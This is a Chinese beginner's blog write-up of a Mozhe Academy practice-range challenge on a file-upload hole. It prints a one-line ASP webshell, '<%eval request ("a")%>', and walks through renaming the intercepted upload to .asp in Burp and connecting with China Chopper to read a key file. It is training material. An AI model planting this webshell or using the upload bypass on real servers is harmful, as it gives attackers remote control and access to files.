墨者学院-入门级-内部文件上传系统漏洞分析溯源-小白必看（超详细）

2021年1月26日，第七次渗透测试。

准备需求：
1、win10系统；
2、中国菜刀；
3、bp拦截工具（不懂的看我以前的博客，有介绍）；

1、进入靶场，有一个文件上传口；

2、我们新建一个文本文件，里面写上一句话muma；
一句话muma：<%eval request (“a”)%>
（这里的’a’是中国菜刀上的webshell密码，可自行更改；）

3、上传文件，拦截请求包；
以下为拦截包数据截图：

修改包数据，把“upload”改为“1.asp”；

然后释放拦截包，返回浏览器页面；
4、可以看到，我们已经得到了返回的地址，可以用菜刀进行远程连接；
5、输入地址和webshell密码，进入后台文件管理；

6、进入到后台文件管理，看到KEY_2017619826.asp文件，直接打开，有获得key值；


一句话muma：
何为一句话muma，即此muma文件简单，简短，通常只有一句话，但是功能强大，入侵性强，通常伴随着中国菜刀来使用。
以下为百度的介绍，有兴趣了解更多的可以自行上网搜查；

小干货：
在使用中国菜刀时，每次实验完要把软件产生的数据文件删除，否则，当下次再使用其他地址进行连接时，地址栏不会进行转跳，这样我们就无法去到目标地址；
例如：我第一次实验连接地址为：192.168.1.1/html/www，连接后正常转跳到目标地址\html\www\；当我进行第二次实验，实验地址为：10.12.13.1/1.asp/25545622.txt,本来连接后我们转跳的地址应为C:\inetpub\的，但现实是连接后转跳的地址还是第一次实验的地址（即\html\www\），所以这里存在了缓存，我们要把之前的数据删除，再重新连接。
这个我研究了很久，废了很多时间，甚至上网搜查怎样清除中国菜刀的缓存，但没有结果，最后自己琢磨出了，希望大家遇到同样问题时我可以帮助到大家。

缓存文件（删除掉）：